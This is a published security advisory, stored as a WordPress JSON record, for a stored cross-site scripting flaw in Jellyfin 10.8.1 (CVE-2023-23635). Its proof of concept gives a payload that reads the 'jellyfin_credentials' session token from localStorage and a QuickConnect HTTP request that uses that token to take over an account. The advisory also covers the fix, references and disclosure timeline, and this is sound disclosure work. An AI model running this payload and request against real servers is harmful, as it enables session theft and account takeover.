{"id":19359,"date":"2023-01-01T17:45:00","date_gmt":"2023-01-01T16:45:00","guid":{"rendered":"https:\/\/herolab.usd.de\/usd-20220031\/"},"modified":"2023-11-29T13:20:18","modified_gmt":"2023-11-29T12:20:18","slug":"usd-2022-0031","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0031\/","title":{"rendered":"usd-2022-0031"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2022-0031 | Jellyfin 10.8.1 - Cross-Site Scripting<\/h1>\n<p><strong>Advisory ID:<\/strong> usd-2022-0031<br \/>\n<strong>Product:<\/strong> Jellyfin<br \/>\n<strong>Affected Version:<\/strong> 10.8.1<br \/>\n<strong>Vulnerability Type:<\/strong> CWE-79<br \/>\n<strong>Security Risk:<\/strong> CRITICAL<br \/>\n<strong>Vendor URL:<\/strong> <a href=\"https:\/\/jellyfin.org\" target=\"_blank\" rel=\"noopener\">https:\/\/jellyfin.org<\/a><br \/>\n<strong>Vendor Status:<\/strong> Fixed<br \/>\n<strong>CVE Number:<\/strong> CVE-2023-23635<br \/>\n<strong>CVE Link:<\/strong> <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-23635\" target=\"_blank\" rel=\"noopener\">https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-23635<\/a><\/p>\n<p>&nbsp;<\/p>\n<h2>Description<\/h2>\n<p>A stored XSS in Jellyfin 10.8.1 allows an remote attacker to inject JavaScript into the name of a collection to perform a Cross-Site Scripting (XSS) attack.<br \/>\nBecause session tokens are stored in the localStorage, the attacker can extract them via javascript.<\/p>\n<h2>Proof of Concept<\/h2>\n<p>The following screenshot shows how an attacker can create a malicious collection.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly31_1.png\" width=\"706\" height=\"361\" alt=\"\" class=\"wp-image-18749 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly31_1.png 706w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly31_1-480x245.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 706px, 100vw\" \/><br \/>\nThe injected JavaScript code is executed in the user's browser, if a user (e.g. admin) visits the <em>collections<\/em> page.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly31_2.png\" width=\"757\" height=\"371\" alt=\"\" class=\"wp-image-18751 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly31_2.png 757w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/08\/jelly31_2-480x235.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 757px, 100vw\" \/><br \/>\nIf you want to do some more interesting stuff with this vulnerability like taking over the admin account, you can use the following payload to read the access tokens from the localStorage.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span>\"&gt;&lt;img src=\/X onerror=alert(localStorage.getItem(\"jellyfin_credentials\"))&gt;\n<\/pre>\n<\/div>\n<p>Getting the access token and device id allows you to rebuild the request for the <em>Quick Connect<\/em> Feature.<\/p>\n<p>This feature allows users to login using a PIN. The following request sets a PIN.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/QuickConnect\/Authorize?Code=111111<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost:8096<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (X11; Linux x86_64; rv:102.0) Gecko\/20100101 Firefox\/102.0<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">*\/*<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">en-US,en;q=0.5<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">gzip, deflate<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Emby-Authorization<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">MediaBrowser Client=\"Jellyfin Web\", Device=\"Firefox\", DeviceId=\"TW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjoxMDAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDAuMHwxNjU2NzU0NTEwMjcz\", Version=\"10.8.1\", Token=\"7bd97aae0924484884d7d13a74e9517c\"<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">[http:\/\/localhost:8096]()<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Dest<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">empty<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Mode<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">cors<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Sec-Fetch-Site<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">same-origin<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">close<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">sfcsrftoken=S82egH1Csl8FsxnMPQ6NGzXCWL3tiI8tNUvfsNyXnAVoGGthaUjsjrWesdhvu9Gc<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">0<\/span><\/pre>\n<\/div>\n<h2>Fix<\/h2>\n<p>It is recommended to treat all input on the website as potentially dangerous.<br \/>\nHence, all output that is dynamically generated based on user-controlled data should be encoded according to its context.<br \/>\nThe majority of programming languages support standard procedures for encoding meta characters.<\/p>\n<h2>References<\/h2>\n<ul>\n<li><a>https:\/\/owasp.org\/www-community\/attacks\/xss\/<\/a><\/li>\n<li><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2023-23635\" target=\"_blank\" rel=\"noopener\">https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2023-23635<\/a><\/li>\n<\/ul>\n<h2>Timeline<\/h2>\n<ul>\n<li><strong>2022-07-18<\/strong>: First contact request via security@jellyfin.org<\/li>\n<li><strong>2022-08-02<\/strong>: Vulnerability details submitted<\/li>\n<li><strong>2022-08-16<\/strong>: Fixed by Vendor<\/li>\n<li><strong>2023-01-16:<\/strong> Requested CVE assigned<\/li>\n<li><strong>2023-01-19<\/strong>: The advisory is published<\/li>\n<\/ul>\n<h2>Credits<\/h2>\n<p>This security vulnerability was found by Christian P\u00f6schl of usd AG.[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0031 | Jellyfin 10.8.1 - Cross-Site Scripting Advisory ID: usd-2022-0031 Product: Jellyfin Affected Version: 10.8.1 Vulnerability Type: CWE-79 Security Risk: CRITICAL Vendor URL: https:\/\/jellyfin.org Vendor Status: Fixed CVE Number: CVE-2023-23635 CVE Link: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-23635 &nbsp; Description A stored XSS in Jellyfin 10.8.1 allows an remote attacker to inject JavaScript into the name of a collection to [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19359","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19359","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19359"}],"version-history":[{"count":4,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19359\/revisions"}],"predecessor-version":[{"id":21532,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19359\/revisions\/21532"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19359"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}